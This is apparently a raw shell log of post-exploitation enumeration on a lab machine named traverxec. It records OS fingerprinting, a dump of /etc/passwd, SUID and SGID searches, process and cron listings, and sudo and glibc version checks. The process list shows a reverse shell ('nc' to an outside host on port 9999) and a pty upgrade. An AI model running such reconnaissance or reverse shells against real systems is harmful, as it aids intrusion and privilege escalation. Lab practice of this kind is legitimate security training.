System/Kernel
www-data@traverxec:/usr/bin$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ffe165dc81a64aea2b05beda07aeda8ad71f1e7c, stripped
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
home_url="https://www.debian.org/"
support_url="https://www.debian.org/support"
bug_report_url="https://bugs.debian.org/"
Debian GNU/Linux 10 (buster)
4.19.0-6-amd64
x86_64
Networks
www-data@traverxec:/usr/bin$ arp -a
? (10.10.10.2) at 00:50:56:b9:9d:31 [ether] on eth0
www-data@traverxec:/usr/bin$ netstat -antup4
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 301 10.10.10.165:58502 10.10.14.17:9999 ESTABLISHED 928/nc
tcp 1 0 10.10.10.165:80 10.10.14.17:41608 CLOSE_WAIT 926/bash
udp 0 0 10.10.10.165:36287 8.8.8.8:53 ESTABLISHED -
Users & Groups
www-data@traverxec:/usr/bin$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
david:x:1000:1000:david,,,:/home/david:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
total 12K
4.0K drwxr-xr-x 18 root root 4.0K Sep 16 2022 ..
4.0K drwx--x--x 5 david david 4.0K Oct 25 2019 david
4.0K drwxr-xr-x 3 root root 4.0K Oct 25 2019 .
david
www-data@traverxec:/usr/bin$ cut -d: -f1 /etc/passwd | xargs -n1 id
cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=102(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=103(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=104(messagebus) gid=110(messagebus) groups=110(messagebus)
uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
SUIDs
www-data@traverxec:/usr/bin$ find / -perm -04000 -ls -type f 2>/dev/null
28460 428 -rwsr-xr-x 1 root root 436552 Oct 6 2019 /usr/lib/openssh/ssh-keysign
33376 16 -r-sr-xr-x 1 root root 13628 Nov 12 2019 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
34998 16 -r-sr-xr-x 1 root root 14320 Nov 12 2019 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
25064 52 -rwsr-xr-- 1 root messagebus 51184 Jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
938 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
32133 36 -rwsr-xr-x 1 root root 34896 Apr 22 2020 /usr/bin/fusermount
32850 156 -rwsr-xr-x 1 root root 157192 Oct 12 2019 /usr/bin/sudo
11830 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
11494 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
6847 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
11347 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
11828 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
6845 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
6849 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
6844 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
SGIDs
www-data@traverxec:/usr/bin$ find / -perm -02000 -ls -type f 2>/dev/null
11692 0 drwxr-sr-x 3 root systemd-journal 60 sep 17 03:25 /run/log/journal
11693 0 drwxr-s--- 2 root systemd-journal 80 sep 17 03:25 /run/log/journal/5624ff30811344d09d8b70e04d01925e
18291 4 drwxrwsr-x 3 root staff 4096 Sep 16 2022 /usr/local/lib/python3.7
18292 4 drwxrwsr-x 2 root staff 4096 Sep 16 2022 /usr/local/lib/python3.7/dist-packages
8668 4 drwxrwsr-x 4 root staff 4096 Sep 16 2022 /usr/local/lib/python2.7
31715 4 drwxrwsr-x 2 root staff 4096 Sep 16 2022 /usr/local/lib/python2.7/site-packages
14705 4 drwxrwsr-x 2 root staff 4096 Sep 16 2022 /usr/local/lib/python2.7/dist-packages
7669 40 -rwxr-sr-x 1 root shadow 39616 Feb 14 2019 /usr/sbin/unix_chkpwd
25279 20 -rwxr-sr-x 1 root mail 18944 Dec 3 2017 /usr/bin/dotlockfile
8401 36 -rwxr-sr-x 1 root tty 34896 Jan 10 2019 /usr/bin/wall
6846 32 -rwxr-sr-x 1 root shadow 31000 Jul 27 2018 /usr/bin/expiry
13528 16 -rwxr-sr-x 1 root tty 14736 May 4 2018 /usr/bin/bsd-write
13692 44 -rwxr-sr-x 1 root crontab 43568 Jun 23 2019 /usr/bin/crontab
6843 72 -rwxr-sr-x 1 root shadow 71816 Jul 27 2018 /usr/bin/chage
28453 316 -rwxr-sr-x 1 root ssh 321672 Oct 6 2019 /usr/bin/ssh-agent
194 4 drwxrwsr-x 2 root staff 4096 May 13 2019 /var/local
257 4 drwxrwsr-x 2 root mail 4096 Oct 25 2019 /var/mail
Processes
www-data@traverxec:/usr/bin$ ps -auxwww
ps -auxwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.9 103796 10004 ? Ss 03:25 0:01 /sbin/init
root 248 0.0 0.8 32212 8344 ? Ss 03:25 0:00 /lib/systemd/systemd-journald
root 266 0.0 0.4 21920 4848 ? Ss 03:25 0:00 /lib/systemd/systemd-udevd
root 411 0.0 1.0 48220 11048 ? Ss 03:25 0:00 /usr/bin/VGAuthService
root 412 0.3 1.1 122856 12004 ? Ssl 03:25 0:06 /usr/bin/vmtoolsd
systemd+ 413 0.0 0.6 93080 6536 ? Ssl 03:25 0:00 /lib/systemd/systemd-timesyncd
root 437 0.0 0.2 8476 2764 ? Ss 03:25 0:00 /usr/sbin/cron -f
root 439 0.0 0.6 19304 6316 ? Ss 03:25 0:00 /lib/systemd/systemd-logind
message+ 440 0.0 0.3 8980 3712 ? Ss 03:25 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
www-data 442 0.1 0.2 8660 2824 ? S 03:25 0:02 /usr/local/sbin/nhttpd
root 459 0.0 0.7 15852 7096 ? Ss 03:25 0:00 /usr/sbin/sshd -D
root 460 0.0 0.1 5612 1656 tty1 Ss+ 03:25 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 652 0.1 1.2 69100 12184 ? S 03:25 0:02 /usr/sbin/vmtoolsd
root 682 0.0 1.0 40280 11076 ? S 03:25 0:00 /usr/lib/vmware-vgauth/VGAuthService -s
www-data 926 0.0 0.2 3736 2876 ? S 03:49 0:00 bash
www-data 928 0.0 0.1 2372 1832 ? S 03:49 0:00 nc 10.10.14.17 9999
www-data 929 0.0 0.0 2388 692 ? S 03:49 0:00 /bin/sh
www-data 942 0.0 0.8 17176 8484 ? S 03:52 0:00 python3 -c import pty; pty.spawn("/bin/bash")
www-data 943 0.0 0.3 7192 3492 pts/0 Ss 03:52 0:00 /bin/bash
www-data 987 0.0 0.2 11116 3008 pts/0 R+ 03:56 0:00 ps -auxwww
/usr/sbin/cron -f
Cron & Systemd
www-data@traverxec:/usr/bin$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT LEFT LAST PASSED
sun 2023-09-17 06:32:37 EDT 2h 35min left Sun 2023-09-17 03:25:08 EDT 31min ag
sun 2023-09-17 14:49:54 EDT 10h left Sun 2023-09-17 03:25:08 EDT 31min ag
mon 2023-09-18 00:00:00 EDT 20h left Sun 2023-09-17 03:25:08 EDT 31min ag
mon 2023-09-18 00:00:00 EDT 20h left Sun 2023-09-17 03:25:08 EDT 31min ag
mon 2023-09-18 03:40:09 EDT 23h left Sun 2023-09-17 03:40:09 EDT 16min ag
5 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-9/9 (END)
Sudo Version
www-data@traverxec:/usr/bin$ sudo -V
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27
Sudo version 1.8.27
Glibc Version
www-data@traverxec:/usr/bin$ ldd --version
ldd (Debian GLIBC 2.28-10) 2.28
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
ldd (Debian GLIBC 2.28-10) 2.28